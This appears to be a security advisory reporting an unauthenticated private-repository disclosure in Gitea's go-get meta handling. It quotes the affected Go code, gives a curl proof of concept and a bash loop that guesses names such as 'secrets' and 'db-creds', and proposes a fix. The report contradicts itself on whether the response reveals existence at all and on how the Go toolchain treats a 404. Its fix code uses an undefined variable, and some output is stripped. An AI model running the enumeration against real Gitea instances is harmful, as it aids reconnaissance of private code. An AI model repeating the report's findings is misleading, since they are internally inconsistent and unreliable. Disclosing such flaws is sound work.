Gitea: Private Repository Existence Disclosure via go-get Meta Endpoint
| Field | Value |
|-------|-------|
| Affected File | routers/web/repo/githttp.go, services/context/repo.go |
| Affected Functions | httpBase(), EarlyResponseForGoGetMeta() |
| Affected Lines | githttp.go:63–66, services/context/repo.go:374–396 |
| Prerequisite | None — fully unauthenticated |
Description
Gitea implements a special behavior for requests containing the ?go-get=1 query parameter. This parameter is sent by the Go toolchain (go get, go install) to discover VCS metadata for module imports. When Gitea detects this parameter in the HTTP request path for a repository, it bypasses the normal authentication and authorization stack and returns an HTTP 200 response containing ` and tags — regardless of whether:
The entry point is routers/web/repo/githttp.go:63–66:
func httpBase(ctx *context.Context, optGitService ...string) *serviceHandler {
reponame := strings.TrimSuffix(ctx.PathParam("reponame"), ".git") if ctx.FormString("go-get") == "1" {
context.EarlyResponseForGoGetMeta(ctx)
return nil // ← returns before any auth or permission check
}
...
The EarlyResponseForGoGetMeta function (services/context/repo.go:379–396) is called unconditionally, and the function's own docstring documents the intended behavior:
// EarlyResponseForGoGetMeta responses appropriate go-get meta with status 200
// if user does not have actual access to the requested repository,
// or the owner or repository does not exist at all.
// This is particular a workaround for "go get" command which does not respect
// .netrc file.
func EarlyResponseForGoGetMeta(ctx *Context) {
username := ctx.PathParam("username")
reponame := strings.TrimSuffix(ctx.PathParam("reponame"), ".git")
...
ctx.PlainText(http.StatusOK, htmlMeta) // ← HTTP 200, no auth check
}The function also appears at services/context/repo.go:444, 516, 571 — all repository-scoped route handlers that check ?go-get=1 and call EarlyResponseForGoGetMeta before performing any permission verification.
The metadata returned includes:
- The full repository name and owner — confirming the repository exists
- The HTTP clone URL — a fully-formed URL pointing to the repository
- The source browsing URL templates — which may reveal the default branch name
This allows an unauthenticated attacker to:
- Confirm existence of any private repository by name
- Enumerate private repository names through brute-force without triggering authentication failures
- Harvest clone URLs and default branch names of private repositories
Proof of Concept
Step 1 — Identify a private repository
Any private repository works. For this demonstration, admin/classified-internal is set to private:
Step 2 — Confirm access is denied without authentication
Standard requests to a private repository correctly return 404 for unauthenticated users.
Step 3 — Bypass using go-get parameter
curl -s "http://localhost:3000/admin/classified-internal?go-get=1"Actual response (HTTP 200):
<!doctype html>
go get --insecure localhost:3000/admin/classified-internal
The response:
- Returns HTTP 200 (not 404) — confirming the repository exists
- Reveals the full clone URL: http://localhost:3000/admin/classified-internal.git
- Reveals the default branch name: main
- Reveals the owner username: admin
This same response is returned whether or not the repository exists — the comment in EarlyResponseForGoGetMeta states it responds identically for both — however in practice, the clone URL generated will be functionally different (a real clone attempt against a non-existent repo fails, while one against a private repo fails only at authentication). An attacker can differentiate using response timing or by attempting git ls-remote.
Step 4 — Enumerate private repositories at scale
# Enumerate private repos by guessing common names
for name in internal deploy secrets infra api-keys prod-config db-creds; do
response=$(curl -s "http://localhost:3000/admin/${name}?go-get=1")
if echo "$response" | grep -q "go-import"; then
clone_url=$(echo "$response" | grep -oP 'git http://\K[^ "]+')
echo "[FOUND] admin/${name} → clone: http://${clone_url}"
fi
doneStep 5 — Verify the same applies to the main web router
The vulnerability also exists via the standard web router for repository pages:
# Works on any repo-scoped URL
curl -s "http://localhost:3000/admin/classified-internal/releases?go-get=1" | grep "go-import"
curl -s "http://localhost:3000/admin/classified-internal/issues?go-get=1" | grep "go-import"All return HTTP 200 with the metadata.
Impact Analysis
Direct impact:
| What is leaked | Sensitivity | |----------------|-------------| | Repository exists | Confirms presence of private infrastructure code, internal tooling, unreleased products | | Owner / organization name | Reveals organizational structure | | Clone URL | Provides a direct endpoint for credential-stuffing attacks against git HTTP endpoint | | Default branch name | Reduces brute-force surface for subsequent attacks |
Root Cause Analysis
The bypass was introduced intentionally as a workaround for the Go toolchain's limitation of not reading .netrc credentials before deciding whether a module is accessible. The Go go get command probes the VCS endpoint without credentials first; if it gets a 404, it treats the module as non-existent and fails immediately without prompting for credentials.
The workaround — returning metadata unconditionally — was the path of least resistance for enabling private module imports. The unintended consequence is that it creates an unauthenticated information disclosure endpoint for every repository in the instance.
Recommended Fix
The fix requires differentiating between requests that carry authentication credentials and those that do not, before calling EarlyResponseForGoGetMeta`.
// routers/web/repo/githttp.go:63–66 — proposed fixif ctx.FormString("go-get") == "1" {
// For public repos, always respond to support the go toolchain
if repo != nil && !repo.IsPrivate {
context.EarlyResponseForGoGetMeta(ctx)
return nil
}
// For private repos, only respond if the user is authenticated
// and has at least read access
if ctx.IsSigned {
if perm, err := access_model.GetDoerRepoPermission(ctx, repo, ctx.Doer); err == nil {
if perm.CanRead(unit.TypeCode) {
context.EarlyResponseForGoGetMeta(ctx)
return nil
}
}
}
// Unauthenticated request for a private repo — return 404 consistent
// with normal behavior; the go toolchain will prompt for credentials
ctx.PlainText(http.StatusNotFound, "Repository not found")
return nil
}
This approach preserves the go-get functionality for public repositories while protecting private ones. The Go toolchain will fall back to prompting for credentials when it receives a 404, which is the correct behavior for private module imports.